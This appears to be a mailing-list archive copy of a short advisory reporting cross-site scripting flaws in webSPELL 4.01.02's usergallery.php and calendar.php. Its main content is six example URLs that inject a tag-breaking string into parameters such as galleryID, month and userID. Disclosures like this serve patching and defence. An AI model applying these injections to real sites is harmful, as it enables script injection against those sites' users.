webSPELL 4.01.02 (calendar.php, usergallery.php) XSS Vulnerability

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



###################
Autor: Brainhead	                                           	
Type: XSS                                                   
Version:  4.01.02                               
Files: usergallery.php, calendar.php                        
Magic Quotes :off                                         
###################
Examples:

http://site.tld/[PATH]/index.php?site=usergallery&action=upload&galleryID=";>[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&upID=";>[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&tag=";>[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&month=";>[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&userID=";>[your code]
http://site.tld/[PATH]/index.php?site=calendar&action=announce&year=";>[your code]

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux